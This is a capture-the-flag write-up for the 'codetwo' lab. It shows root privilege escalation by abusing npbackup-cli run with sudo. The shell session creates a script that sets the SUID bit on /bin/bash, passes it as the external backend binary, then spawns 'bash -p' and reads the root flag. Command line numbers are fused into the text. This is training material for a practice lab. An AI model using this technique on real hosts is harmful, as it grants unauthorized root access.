npbackup-cliis a backup utility that allows configuration via YAML files (npbackup.conf). Each repository configuration can define backup sources, retention policies, and hooks (post-execution commands).
When
npbackup-cliis run with sudo,post-executioncommands run as root. If an attacker can modify the config, they can execute arbitrary commands with root privileges.
Malicious Configuration
The malicious configuration keeps the original repository metadata and credentials intact but modifies the backup source and injects commands to extract the root flag:
steps
create a
fileand add this content
1marco@codetwo:~$ nano test2marco@codetwo:~$ cat test3#!/bin/bash4chmod u+s /bin/bash5marco@codetwo:~$ chmod 755 /home/marco/test6marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test-b --repo-name default72025-08-17 10:52:51,219 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root82025-08-17 10:52:51,249 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf92025-08-17 10:52:51,264 :: CRITICAL :: External backend binary /home/marco/test-b cannot be found.102025-08-17 10:52:51,271 :: INFO :: ExecTime = 0:00:00.054665, finished, state is: critical.11^[[Dmarco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test -b --repo-name default122025-08-17 10:52:55,725 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root132025-08-17 10:52:55,752 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf142025-08-17 10:52:55,819 :: ERROR :: Runner: Function backup failed with: 'NoneType' object has no attribute 'strip'152025-08-17 10:52:55,819 :: ERROR :: Trace:16Traceback (most recent call last):17 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 698, in wrapper18 return fn(self, *args, **kwargs)19 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 496, in wrapper20 result = fn(self, *args, **kwargs)21 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 674, in wrapper22 result = fn(self, *args, **kwargs)23 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 625, in wrapper24 return fn(self, *args, **kwargs)25 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 566, in wrapper26 return fn(self, *args, **kwargs)27 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 636, in wrapper28 result = self._apply_config_to_restic_runner()29 File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 963, in _apply_config_to_restic_runner30 self.restic_runner.binary = self.binary31 File "/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py", line 585, in binary32 version = self.binary_version33 File "/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py", line 599, in binary_version34 return output.strip()35AttributeError: 'NoneType' object has no attribute 'strip'362025-08-17 10:52:55,823 :: ERROR :: Cannot decode JSON from restic data: the JSON object must be str, bytes or bytearray, not bool372025-08-17 10:52:55,823 :: ERROR :: Cannot find processed bytes: 'total_bytes_processed'382025-08-17 10:52:55,823 :: ERROR :: Backend finished with errors.392025-08-17 10:52:55,823 :: WARNING :: Cannot get exec time from environment402025-08-17 10:52:55,823 :: ERROR :: Operation finished412025-08-17 10:52:55,829 :: INFO :: ExecTime = 0:00:00.106691, finished, state is: errors.42marco@codetwo:~$ ls43backups npbackup.conf test user.txt44marco@codetwo:~$ bash -p45bash-5.0# cd /root46bash-5.0# ls47root.txt scripts48bash-5.0# cat root.txt491b9acae4d1c52171f24xxxxxxxx50bash-5.0#And Boom We Got Root flag
1b9acae4d1c52171f24xxxxxxxx


